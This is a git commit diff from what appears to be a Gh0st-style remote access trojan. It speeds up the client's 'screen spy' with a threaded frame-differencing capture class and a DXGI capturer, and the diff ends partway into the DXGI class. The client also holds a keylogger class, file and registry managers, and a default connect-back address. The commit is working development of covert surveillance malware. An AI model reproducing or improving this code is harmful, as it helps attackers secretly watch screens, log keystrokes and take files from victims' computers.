Improve screen spy efficiency with DXGI
This commit is contained in:
28
BmpDifference.m
Normal file
28
BmpDifference.m
Normal file
@@ -0,0 +1,28 @@
|
||||
% 计算客户端和服务端的位图差异
|
||||
% MATLAB 8.1.0.604 (R2013a)
|
||||
clear all;clc;
|
||||
folder1=[pwd, '/client/bmp/']; % 客户端位图目录
|
||||
folder2=[pwd, '/server/2015Remote/bmp/']; % 服务端位图目录
|
||||
|
||||
num1=numel(dir(fullfile(folder1, '*.bmp')));
|
||||
disp([folder1, ' BMP file count: ', num2str(num1)]);
|
||||
num2=numel(dir(fullfile(folder2, '*.bmp')));
|
||||
disp([folder2, ' BMP file count: ', num2str(num2)]);
|
||||
num = min(num1, num2);
|
||||
missing = 0;
|
||||
for i=1:num
|
||||
file1 = sprintf('%sGHOST_%d.bmp', folder1, i);
|
||||
file2 = sprintf('%sYAMA_%d.bmp', folder2, i);
|
||||
if exist(file2, 'file') == 2
|
||||
img1 = imread(file1);
|
||||
img2 = imread(file2);
|
||||
diff=double(img1)-double(img2);
|
||||
s = sum(diff(:));
|
||||
fprintf('BMP [%d] difference: %g\n', i, s);
|
||||
else
|
||||
fprintf('BMP [%d] difference: MISSING\n', i);
|
||||
missing = missing + 1;
|
||||
end
|
||||
end
|
||||
|
||||
disp(missing);
|
||||
@@ -15,7 +15,7 @@ using namespace std;
|
||||
// Construction/Destruction
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
CAudioManager::CAudioManager(IOCPClient* ClientObject, int n):CManager(ClientObject)
|
||||
CAudioManager::CAudioManager(IOCPClient* ClientObject, int n, void* user):CManager(ClientObject)
|
||||
{
|
||||
Mprintf("new CAudioManager %p\n", this);
|
||||
|
||||
|
||||
@@ -18,7 +18,7 @@ class CAudioManager : public CManager
|
||||
public:
|
||||
VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
|
||||
BOOL Initialize();
|
||||
CAudioManager(IOCPClient* ClientObject, int n);
|
||||
CAudioManager(IOCPClient* ClientObject, int n, void *user=nullptr);
|
||||
virtual ~CAudioManager();
|
||||
BOOL m_bIsWorking;
|
||||
HANDLE m_hWorkThread;
|
||||
|
||||
@@ -20,7 +20,7 @@ using namespace std;
|
||||
#define REG_NAME "a_ghost"
|
||||
|
||||
// Զ<>̵<EFBFBD>ַ
|
||||
CONNECT_ADDRESS g_SETTINGS = {FLAG_GHOST, "", 0, CLIENT_TYPE_ONE};
|
||||
CONNECT_ADDRESS g_SETTINGS = {FLAG_GHOST, "127.0.0.1", 6543, CLIENT_TYPE_ONE};
|
||||
|
||||
// Ӧ<>ó<EFBFBD><C3B3><EFBFBD>״̬<D7B4><CCAC>1-<2D><><EFBFBD>ض<EFBFBD><D8B6>˳<EFBFBD> 2-<2D><><EFBFBD>ض<EFBFBD><D8B6>˳<EFBFBD> 3-<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
BOOL g_bExit = 0;
|
||||
|
||||
@@ -200,6 +200,8 @@
|
||||
<ClInclude Include="RegisterManager.h" />
|
||||
<ClInclude Include="RegisterOperation.h" />
|
||||
<ClInclude Include="resource.h" />
|
||||
<ClInclude Include="ScreenCapture.h" />
|
||||
<ClInclude Include="ScreenCapturerDXGI.h" />
|
||||
<ClInclude Include="ScreenManager.h" />
|
||||
<ClInclude Include="ScreenSpy.h" />
|
||||
<ClInclude Include="ServicesManager.h" />
|
||||
|
||||
@@ -56,7 +56,7 @@ template <class Manager, int n> DWORD WINAPI LoopManager(LPVOID lParam)
|
||||
IOCPClient *ClientObject = pInfo->p;
|
||||
if (ClientObject->ConnectServer(g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort()))
|
||||
{
|
||||
Manager m(ClientObject, n);
|
||||
Manager m(ClientObject, n, pInfo->user);
|
||||
ClientObject->RunEventLoop(pInfo->run);
|
||||
}
|
||||
delete ClientObject;
|
||||
|
||||
@@ -9,6 +9,9 @@
|
||||
#pragma once
|
||||
#endif // _MSC_VER > 1000
|
||||
|
||||
#define ALGORITHM_GRAY 0
|
||||
#define ALGORITHM_DIFF 1
|
||||
|
||||
#define MAX_CURSOR_TYPE 16
|
||||
|
||||
class CCursorInfo
|
||||
|
||||
@@ -14,7 +14,7 @@ typedef struct
|
||||
// Construction/Destruction
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
CFileManager::CFileManager(CClientSocket *pClient, int h):CManager(pClient)
|
||||
CFileManager::CFileManager(CClientSocket *pClient, int h, void* user):CManager(pClient)
|
||||
{
|
||||
m_nTransferMode = TRANSFER_MODE_NORMAL;
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD>, <20><>ʼ<EFBFBD><CABC><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>߳<EFBFBD>
|
||||
|
||||
@@ -30,7 +30,7 @@ class CFileManager : public CManager
|
||||
public:
|
||||
virtual void OnReceive(PBYTE lpBuffer, ULONG nSize);
|
||||
UINT SendDriveList();
|
||||
CFileManager(CClientSocket *pClient, int h = 0);
|
||||
CFileManager(CClientSocket *pClient, int h = 0, void* user=nullptr);
|
||||
virtual ~CFileManager();
|
||||
private:
|
||||
list <string> m_UploadList;
|
||||
|
||||
@@ -6,7 +6,7 @@
|
||||
#include "IOCPClient.h"
|
||||
#include <IOSTREAM>
|
||||
#if USING_ZLIB
|
||||
#include "zlib.h"
|
||||
#include "zlib/zlib.h"
|
||||
#define Z_FAILED(p) (Z_OK != (p))
|
||||
#define Z_SUCCESS(p) (!Z_FAILED(p))
|
||||
#else
|
||||
|
||||
@@ -177,6 +177,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
|
||||
case COMMAND_SCREEN_SPY:
|
||||
{
|
||||
m_hThread[m_ulThreadCount].user = ulLength > 1 ? (void*)(szBuffer[1]) : NULL;
|
||||
m_hThread[m_ulThreadCount++].h = CreateThread(NULL,0,
|
||||
(LPTHREAD_START_ROUTINE)LoopScreenManager,
|
||||
&m_hThread[m_ulThreadCount], 0, NULL);;
|
||||
|
||||
@@ -20,7 +20,8 @@ struct ThreadInfo
|
||||
BOOL run;
|
||||
HANDLE h;
|
||||
IOCPClient *p;
|
||||
ThreadInfo() : run(TRUE), h(NULL), p(NULL){ }
|
||||
void* user;
|
||||
ThreadInfo() : run(TRUE), h(NULL), p(NULL), user(nullptr){ }
|
||||
};
|
||||
|
||||
class CKernelManager : public CManager
|
||||
|
||||
@@ -16,7 +16,7 @@ using namespace std;
|
||||
#define FILE_PATH "\\MODIf.html"
|
||||
#define CAPTION_SIZE 1024
|
||||
|
||||
CKeyboardManager1::CKeyboardManager1(CClientSocket *pClient, int n) : CManager(pClient)
|
||||
CKeyboardManager1::CKeyboardManager1(CClientSocket *pClient, int n, void* user) : CManager(pClient)
|
||||
{
|
||||
sendStartKeyBoard();
|
||||
WaitForDialogOpen();
|
||||
|
||||
@@ -14,7 +14,7 @@
|
||||
class CKeyboardManager1 : public CManager
|
||||
{
|
||||
public:
|
||||
CKeyboardManager1(CClientSocket *pClient, int n=0);
|
||||
CKeyboardManager1(CClientSocket *pClient, int n=0, void* user = nullptr);
|
||||
virtual ~CKeyboardManager1();
|
||||
virtual void OnReceive(LPBYTE lpBuffer, ULONG nSize);
|
||||
static DWORD WINAPI KeyLogger(LPVOID lparam);
|
||||
|
||||
@@ -11,7 +11,7 @@ using namespace std;
|
||||
// Construction/Destruction
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
CRegisterManager::CRegisterManager(IOCPClient* ClientObject, int n):CManager(ClientObject)
|
||||
CRegisterManager::CRegisterManager(IOCPClient* ClientObject, int n, void* user):CManager(ClientObject)
|
||||
{
|
||||
BYTE bToken=TOKEN_REGEDIT;
|
||||
m_ClientObject->OnServerSending((char*)&bToken, 1);
|
||||
|
||||
@@ -15,7 +15,7 @@
|
||||
class CRegisterManager : public CManager
|
||||
{
|
||||
public:
|
||||
CRegisterManager(IOCPClient* ClientObject, int n);
|
||||
CRegisterManager(IOCPClient* ClientObject, int n, void* user = nullptr);
|
||||
virtual ~CRegisterManager();
|
||||
VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
|
||||
VOID Find(char bToken, char *szPath);
|
||||
|
||||
332
client/ScreenCapture.h
Normal file
332
client/ScreenCapture.h
Normal file
@@ -0,0 +1,332 @@
|
||||
#pragma once
|
||||
#include "stdafx.h"
|
||||
#include <assert.h>
|
||||
#include "CursorInfo.h"
|
||||
#include "../common/commands.h"
|
||||
|
||||
#define DEFAULT_GOP 0x7FFFFFFF
|
||||
|
||||
#include <vector>
|
||||
#include <queue>
|
||||
#include <thread>
|
||||
#include <mutex>
|
||||
#include <condition_variable>
|
||||
#include <functional>
|
||||
#include <future>
|
||||
|
||||
|
||||
class ThreadPool {
|
||||
public:
|
||||
// <20><><EFBFBD>캯<EFBFBD><ECBAAF><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>̶<EFBFBD><CCB6><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>߳<EFBFBD>
|
||||
ThreadPool(size_t numThreads) : stop(false) {
|
||||
for (size_t i = 0; i < numThreads; ++i) {
|
||||
workers.emplace_back([this] {
|
||||
while (true) {
|
||||
std::function<void()> task;
|
||||
{
|
||||
std::unique_lock<std::mutex> lock(this->queueMutex);
|
||||
this->condition.wait(lock, [this] { return this->stop || !this->tasks.empty(); });
|
||||
if (this->stop && this->tasks.empty()) return;
|
||||
task = std::move(this->tasks.front());
|
||||
this->tasks.pop();
|
||||
}
|
||||
|
||||
try {
|
||||
task();
|
||||
}
|
||||
catch (...) {
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD>쳣
|
||||
}
|
||||
}
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>̳߳<DFB3>
|
||||
~ThreadPool() {
|
||||
{
|
||||
std::unique_lock<std::mutex> lock(queueMutex);
|
||||
stop = true;
|
||||
}
|
||||
condition.notify_all();
|
||||
for (std::thread& worker : workers)
|
||||
worker.join();
|
||||
}
|
||||
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD>ύ
|
||||
template<typename F>
|
||||
auto enqueue(F&& f) -> std::future<decltype(f())> {
|
||||
using ReturnType = decltype(f());
|
||||
auto task = std::make_shared<std::packaged_task<ReturnType()>>(std::forward<F>(f));
|
||||
std::future<ReturnType> res = task->get_future();
|
||||
{
|
||||
std::unique_lock<std::mutex> lock(queueMutex);
|
||||
tasks.emplace([task]() { (*task)(); });
|
||||
}
|
||||
condition.notify_one();
|
||||
return res;
|
||||
}
|
||||
|
||||
void waitAll() {
|
||||
std::unique_lock<std::mutex> lock(queueMutex);
|
||||
condition.wait(lock, [this] { return tasks.empty(); });
|
||||
}
|
||||
|
||||
private:
|
||||
std::vector<std::thread> workers;
|
||||
std::queue<std::function<void()>> tasks;
|
||||
|
||||
std::mutex queueMutex;
|
||||
std::condition_variable condition;
|
||||
std::atomic<bool> stop;
|
||||
};
|
||||
|
||||
class ScreenCapture
|
||||
{
|
||||
public:
|
||||
ThreadPool* m_ThreadPool; // <20>̳߳<DFB3>
|
||||
BYTE* m_FirstBuffer; // <20><>һ֡<D2BB><D6A1><EFBFBD><EFBFBD>
|
||||
BYTE* m_RectBuffer; // <20><>ǰ<EFBFBD><C7B0><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
LPBYTE* m_BlockBuffers; // <20>ֿ黺<D6BF><E9BBBA>
|
||||
ULONG* m_BlockSizes; // <20>ֿ<EFBFBD><D6BF><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
int m_BlockNum; // <20>ֿ<EFBFBD><D6BF><EFBFBD><EFBFBD><EFBFBD>
|
||||
|
||||
LPBITMAPINFO m_BitmapInfor_Full; // BMP<4D><50>Ϣ
|
||||
BYTE m_bAlgorithm; // <20><>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD><EFBFBD>㷨
|
||||
|
||||
ULONG m_ulFullWidth; // <20><>Ļ<EFBFBD><C4BB>
|
||||
ULONG m_ulFullHeight; // <20><>Ļ<EFBFBD><C4BB>
|
||||
bool m_bZoomed; // <20><>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
double m_wZoom; // <20><>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ű<EFBFBD>
|
||||
double m_hZoom; // <20><>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ű<EFBFBD>
|
||||
|
||||
int m_FrameID; // ֡<><D6A1><EFBFBD><EFBFBD>
|
||||
int m_GOP; // <20>ؼ<EFBFBD>֡<EFBFBD><D6A1><EFBFBD><EFBFBD>
|
||||
bool m_SendKeyFrame; // <20><><EFBFBD>ؼ<CDB9>֡
|
||||
|
||||
ScreenCapture() : m_ThreadPool(nullptr), m_FirstBuffer(nullptr), m_RectBuffer(nullptr),
|
||||
m_BitmapInfor_Full(nullptr), m_bAlgorithm(ALGORITHM_DIFF),
|
||||
m_ulFullWidth(0), m_ulFullHeight(0), m_bZoomed(false), m_wZoom(1), m_hZoom(1),
|
||||
m_FrameID(0), m_GOP(DEFAULT_GOP), m_SendKeyFrame(false){
|
||||
|
||||
m_BlockNum = 8;
|
||||
m_ThreadPool = new ThreadPool(m_BlockNum);
|
||||
|
||||
//::GetSystemMetrics(SM_CXSCREEN/SM_CYSCREEN)<29><>ȡ<EFBFBD><C8A1>Ļ<EFBFBD><C4BB>С<EFBFBD><D0A1>
|
||||
//<2F><><EFBFBD>統<EFBFBD><E7B5B1>Ļ<EFBFBD><C4BB>ʾ<EFBFBD><CABE><EFBFBD><EFBFBD>Ϊ125%ʱ<><CAB1><EFBFBD><EFBFBD>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ļ<EFBFBD><C4BB>С<EFBFBD><D0A1>Ҫ<EFBFBD><D2AA><EFBFBD><EFBFBD>1.25<EFBFBD>Ŷ<EFBFBD>
|
||||
DEVMODE devmode;
|
||||
memset(&devmode, 0, sizeof(devmode));
|
||||
devmode.dmSize = sizeof(DEVMODE);
|
||||
devmode.dmDriverExtra = 0;
|
||||
BOOL Isgetdisplay = EnumDisplaySettingsA(NULL, ENUM_CURRENT_SETTINGS, &devmode);
|
||||
m_ulFullWidth = devmode.dmPelsWidth;
|
||||
m_ulFullHeight = devmode.dmPelsHeight;
|
||||
int w = GetSystemMetrics(SM_CXSCREEN), h = GetSystemMetrics(SM_CYSCREEN);
|
||||
m_bZoomed = (w != m_ulFullWidth) || (h != m_ulFullHeight);
|
||||
m_wZoom = double(m_ulFullWidth) / w, m_hZoom = double(m_ulFullHeight) / h;
|
||||
Mprintf("=> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ű<EFBFBD><C5B1><EFBFBD>: %.2f, %.2f\t<EFBFBD>ֱ<EFBFBD><EFBFBD>ʣ<EFBFBD>%d x %d\n", m_wZoom, m_hZoom, m_ulFullWidth, m_ulFullHeight);
|
||||
m_wZoom = 1.0 / m_wZoom, m_hZoom = 1.0 / m_hZoom;
|
||||
|
||||
m_BlockBuffers = new LPBYTE[m_BlockNum];
|
||||
m_BlockSizes = new ULONG[m_BlockNum];
|
||||
for (int blockY = 0; blockY < m_BlockNum; ++blockY) {
|
||||
m_BlockBuffers[blockY] = new BYTE[m_ulFullWidth * m_ulFullHeight * 4 * 2 / m_BlockNum + 12];
|
||||
}
|
||||
}
|
||||
virtual ~ScreenCapture(){
|
||||
if (m_BitmapInfor_Full != NULL) {
|
||||
delete[](char*)m_BitmapInfor_Full;
|
||||
m_BitmapInfor_Full = NULL;
|
||||
}
|
||||
SAFE_DELETE_ARRAY(m_RectBuffer);
|
||||
|
||||
for (int blockY = 0; blockY < m_BlockNum; ++blockY) {
|
||||
SAFE_DELETE_ARRAY(m_BlockBuffers[blockY]);
|
||||
}
|
||||
SAFE_DELETE_ARRAY(m_BlockBuffers);
|
||||
SAFE_DELETE_ARRAY(m_BlockSizes);
|
||||
|
||||
SAFE_DELETE(m_ThreadPool);
|
||||
}
|
||||
|
||||
public:
|
||||
//*************************************** ͼ<><CDBC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>㷨<EFBFBD><E3B7A8><EFBFBD><EFBFBD><EFBFBD>У<EFBFBD> *************************************
|
||||
virtual ULONG CompareBitmap(LPBYTE CompareSourData, LPBYTE CompareDestData, LPBYTE szBuffer,
|
||||
DWORD ulCompareLength, BYTE algo, int startPostion = 0) {
|
||||
|
||||
// Windows<77>涨һ<E6B6A8><D2BB>ɨ<EFBFBD><C9A8><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ռ<EFBFBD><D5BC><EFBFBD>ֽ<EFBFBD><D6BD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>4<EFBFBD>ı<EFBFBD><C4B1><EFBFBD>, <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>DWORD<52>Ƚ<EFBFBD>
|
||||
LPDWORD p1 = (LPDWORD)CompareDestData, p2 = (LPDWORD)CompareSourData;
|
||||
LPBYTE p = szBuffer;
|
||||
ULONG channel = algo == ALGORITHM_GRAY ? 1 : 4;
|
||||
ULONG ratio = algo == ALGORITHM_GRAY ? 4 : 1;
|
||||
for (ULONG i = 0; i < ulCompareLength; i += 4, ++p1, ++p2) {
|
||||
if (*p1 == *p2)
|
||||
continue;
|
||||
ULONG index = i;
|
||||
LPDWORD pos1 = p1++, pos2 = p2++;
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD>м<EFBFBD><D0BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ֵ<EFBFBD><D6B5>ͬ
|
||||
for (i += 4; i < ulCompareLength && *p1 != *p2; i += 4, ++p1, ++p2);
|
||||
ULONG ulCount = i - index;
|
||||
memcpy(pos1, pos2, ulCount); // <20><><EFBFBD><EFBFBD>Ŀ<EFBFBD><C4BF><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
|
||||
*(LPDWORD)(p) = index + startPostion;
|
||||
*(LPDWORD)(p + sizeof(ULONG)) = ulCount / ratio;
|
||||
p += 2 * sizeof(ULONG);
|
||||
if (channel != 1) {
|
||||
memcpy(p, pos2, ulCount);
|
||||
p += ulCount;
|
||||
}
|
||||
else {
|
||||
for (LPBYTE end = p + ulCount / ratio; p < end; p += channel, ++pos2) {
|
||||
LPBYTE src = (LPBYTE)pos2;
|
||||
*p = (306 * src[2] + 601 * src[0] + 117 * src[1]) >> 10;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return p - szBuffer;
|
||||
}
|
||||
|
||||
//*************************************** ͼ<><CDBC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>㷨<EFBFBD><E3B7A8><EFBFBD><EFBFBD><EFBFBD>У<EFBFBD> *************************************
|
||||
ULONG MultiCompareBitmap(LPBYTE srcData, LPBYTE dstData, LPBYTE szBuffer,
|
||||
DWORD ulCompareLength, BYTE algo) {
|
||||
|
||||
int N = m_BlockNum;
|
||||
ULONG blockLength = ulCompareLength / N; // ÿ<><C3BF><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD>ֽ<EFBFBD><D6BD><EFBFBD>
|
||||
ULONG remainingLength = ulCompareLength % N; // ʣ<><CAA3><EFBFBD><EFBFBD><EFBFBD>ֽ<EFBFBD><D6BD><EFBFBD>
|
||||
|
||||
std::vector<std::future<ULONG>> futures;
|
||||
for (int blockY = 0; blockY < N; ++blockY) {
|
||||
// <20><><EFBFBD>㵱ǰ<E3B5B1><C7B0><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ֽ<EFBFBD><D6BD><EFBFBD>
|
||||
ULONG currentBlockLength = blockLength + (blockY == N - 1 ? remainingLength : 0);
|
||||
// <20><><EFBFBD>㵱ǰ<E3B5B1><C7B0><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʼλ<CABC><CEBB>
|
||||
ULONG startPosition = blockY * blockLength;
|
||||
|
||||
futures.emplace_back(m_ThreadPool->enqueue([=]() -> ULONG {
|
||||
LPBYTE srcBlock = srcData + startPosition;
|
||||
LPBYTE dstBlock = dstData + startPosition;
|
||||
LPBYTE blockBuffer = m_BlockBuffers[blockY];
|
||||
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ǰ<EFBFBD><C7B0><EFBFBD><EFBFBD><F1B2A2B7>رȶ<D8B1><C8B6><EFBFBD><EFBFBD>ݴ<EFBFBD>С
|
||||
return m_BlockSizes[blockY] = CompareBitmap(srcBlock, dstBlock, blockBuffer, currentBlockLength, algo, startPosition);
|
||||
}));
|
||||
}
|
||||
|
||||
// <20>ȴ<EFBFBD><C8B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ɲ<EFBFBD><C9B2><EFBFBD>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD>ֵ
|
||||
for (auto& future : futures) {
|
||||
future.get();
|
||||
}
|
||||
|
||||
// <20>ϲ<EFBFBD><CFB2><EFBFBD><EFBFBD>п<EFBFBD><D0BF>IJ<EFBFBD><C4B2><EFBFBD><EFBFBD><EFBFBD>Ϣ<EFBFBD><CFA2> szBuffer
|
||||
ULONG offset = 0;
|
||||
for (int blockY = 0; blockY < N; ++blockY) {
|
||||
memcpy(szBuffer + offset, m_BlockBuffers[blockY], m_BlockSizes[blockY]);
|
||||
offset += m_BlockSizes[blockY];
|
||||
}
|
||||
|
||||
return offset; // <20><><EFBFBD>ػ<EFBFBD><D8BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ĵ<EFBFBD>С
|
||||
}
|
||||
|
||||
virtual int GetFrameID() const {
|
||||
return m_FrameID;
|
||||
}
|
||||
|
||||
virtual LPBYTE GetFirstBuffer() const {
|
||||
return m_FirstBuffer;
|
||||
}
|
||||
|
||||
virtual int GetBMPSize() const {
|
||||
assert(m_BitmapInfor_Full);
|
||||
return m_BitmapInfor_Full->bmiHeader.biSizeImage;
|
||||
}
|
||||
|
||||
// <20>㷨+<2B><><EFBFBD><EFBFBD>λ<EFBFBD><CEBB>+<2B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
LPBYTE GetNextScreenData(ULONG* ulNextSendLength) {
|
||||
BYTE algo = m_bAlgorithm;
|
||||
int frameID = m_FrameID + 1;
|
||||
bool keyFrame = (frameID % m_GOP == 0);
|
||||
m_RectBuffer[0] = keyFrame ? TOKEN_KEYFRAME : TOKEN_NEXTSCREEN;
|
||||
LPBYTE data = m_RectBuffer + 1;
|
||||
// д<><D0B4>ʹ<EFBFBD><CAB9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>㷨
|
||||
memcpy(data, (LPBYTE)&algo, sizeof(BYTE));
|
||||
|
||||
// д<><D0B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD>λ<EFBFBD><CEBB>
|
||||
POINT CursorPos;
|
||||
GetCursorPos(&CursorPos);
|
||||
CursorPos.x /= m_wZoom;
|
||||
CursorPos.y /= m_hZoom;
|
||||
memcpy(data + sizeof(BYTE), (LPBYTE)&CursorPos, sizeof(POINT));
|
||||
|
||||
// д<>뵱ǰ<EBB5B1><C7B0><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
static CCursorInfo m_CursorInfor;
|
||||
BYTE bCursorIndex = m_CursorInfor.getCurrentCursorIndex();
|
||||
memcpy(data + sizeof(BYTE) + sizeof(POINT), &bCursorIndex, sizeof(BYTE));
|
||||
ULONG offset = sizeof(BYTE) + sizeof(POINT) + sizeof(BYTE);
|
||||
|
||||
// <20>ֶ<EFBFBD>ɨ<EFBFBD><C9A8>ȫ<EFBFBD><C8AB>Ļ <20><><EFBFBD>µ<EFBFBD>λͼ<CEBB><CDBC><EFBFBD>뵽m_hDiffMemDC<44><43>
|
||||
LPBYTE nextData = ScanNextScreen();
|
||||
if (nullptr == nextData) {
|
||||
return nullptr;
|
||||
}
|
||||
|
||||
#if SCREENYSPY_IMPROVE
|
||||
memcpy(data + offset, &++m_FrameID, sizeof(int));
|
||||
offset += sizeof(int);
|
||||
#if SCREENSPY_WRITE
|
||||
WriteBitmap(m_BitmapInfor_Full, nextData, "GHOST", m_FrameID);
|
||||
#endif
|
||||
#else
|
||||
m_FrameID++;
|
||||
#endif
|
||||
|
||||
if (keyFrame)
|
||||
{
|
||||
*ulNextSendLength = 1 + offset + m_BitmapInfor_Full->bmiHeader.biSizeImage;
|
||||
if (algo != ALGORITHM_GRAY)
|
||||
{
|
||||
memcpy(data + offset, nextData, m_BitmapInfor_Full->bmiHeader.biSizeImage);
|
||||
}
|
||||
else
|
||||
{
|
||||
LPBYTE dst = data + offset, src = nextData;
|
||||
for (ULONG i = 0; i < m_BitmapInfor_Full->bmiHeader.biSizeImage; i += 4, dst += 4, src += 4) {
|
||||
dst[0] = dst[1] = dst[2] = (306 * src[2] + 601 * src[0] + 117 * src[1]) >> 10;
|
||||
}
|
||||
}
|
||||
memcpy(GetFirstBuffer(), nextData, m_BitmapInfor_Full->bmiHeader.biSizeImage);
|
||||
}
|
||||
else {
|
||||
*ulNextSendLength = 1 + offset + MultiCompareBitmap(nextData, GetFirstBuffer(), data + offset, GetBMPSize(), algo);
|
||||
}
|
||||
|
||||
return m_RectBuffer;
|
||||
}
|
||||
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD><EFBFBD>㷨
|
||||
virtual BYTE SetAlgorithm(int algo) {
|
||||
BYTE oldAlgo = m_bAlgorithm;
|
||||
m_bAlgorithm = algo;
|
||||
return oldAlgo;
|
||||
}
|
||||
|
||||
// <20><><EFBFBD><EFBFBD>λ<EFBFBD><CEBB>ת<EFBFBD><D7AA>
|
||||
virtual void PointConversion(POINT& pt) const {
|
||||
if (m_bZoomed) {
|
||||
pt.x *= m_wZoom;
|
||||
pt.y *= m_hZoom;
|
||||
}
|
||||
}
|
||||
|
||||
// <20><>ȡλͼ<CEBB>ṹ<EFBFBD><E1B9B9>Ϣ
|
||||
virtual const LPBITMAPINFO& GetBIData() const {
|
||||
return m_BitmapInfor_Full;
|
||||
}
|
||||
|
||||
public: // <20><><EFBFBD><EFBFBD><EFBFBD>ӿ<EFBFBD>
|
||||
|
||||
// <20><>ȡ<EFBFBD><C8A1>һ֡<D2BB><D6A1>Ļ
|
||||
virtual LPBYTE GetFirstScreenData(ULONG* ulFirstScreenLength) = 0;
|
||||
|
||||
// <20><>ȡ<EFBFBD><C8A1>һ֡<D2BB><D6A1>Ļ
|
||||
virtual LPBYTE ScanNextScreen() = 0;
|
||||
};
|
||||
182
client/ScreenCapturerDXGI.h
Normal file
182
client/ScreenCapturerDXGI.h
Normal file
@@ -0,0 +1,182 @@
|
||||
#pragma once
|
||||
#include "stdafx.h"
|
||||
#include "ScreenCapture.h"
|
||||
#include "common/commands.h"
|
||||
|
||||
// ֻҪ<D6BB>㰲װ<E3B0B2><D7B0> Windows 8 SDK <20><><EFBFBD><EFBFBD><EFBFBD>߰汾<DFB0><E6B1BE> Windows SDK<44><4B><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ҵ<EFBFBD> dxgi1_2.h <20><><EFBFBD>ɹ<EFBFBD><C9B9><EFBFBD><EFBFBD>롣
|
||||
// <20><><EFBFBD><EFBFBD> Windows 8 <20><><EFBFBD><EFBFBD><EFBFBD>°汾<C2B0><E6B1BE><EFBFBD><EFBFBD>֧<EFBFBD><D6A7>
|
||||
#include <dxgi1_2.h>
|
||||
#include <d3d11.h>
|
||||
|
||||
#pragma comment(lib, "d3d11.lib")
|
||||
|
||||
// author: ChatGPT
|
||||
// update: 962914132@qq.com
|
||||
// DXGI 1.2<EFBFBD><EFBFBD>IDXGIOutputDuplication<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ȴ<EFBFBD>ͳ GDI <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͨ<EFBFBD><CDA8><EFBFBD><EFBFBD> 3 <20><><EFBFBD><EFBFBD> 10 <20><>֮<EFBFBD>䣬<EFBFBD><E4A3AC><EFBFBD><EFBFBD>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD>Ӳ<EFBFBD><D3B2><EFBFBD><EFBFBD><EFBFBD>ֱ<EFBFBD><D6B1>ʺ<EFBFBD>ʹ<EFBFBD>ó<EFBFBD><C3B3><EFBFBD><EFBFBD><EFBFBD>
|
||||
class ScreenCapturerDXGI : public ScreenCapture {
|
||||
private:
|
||||
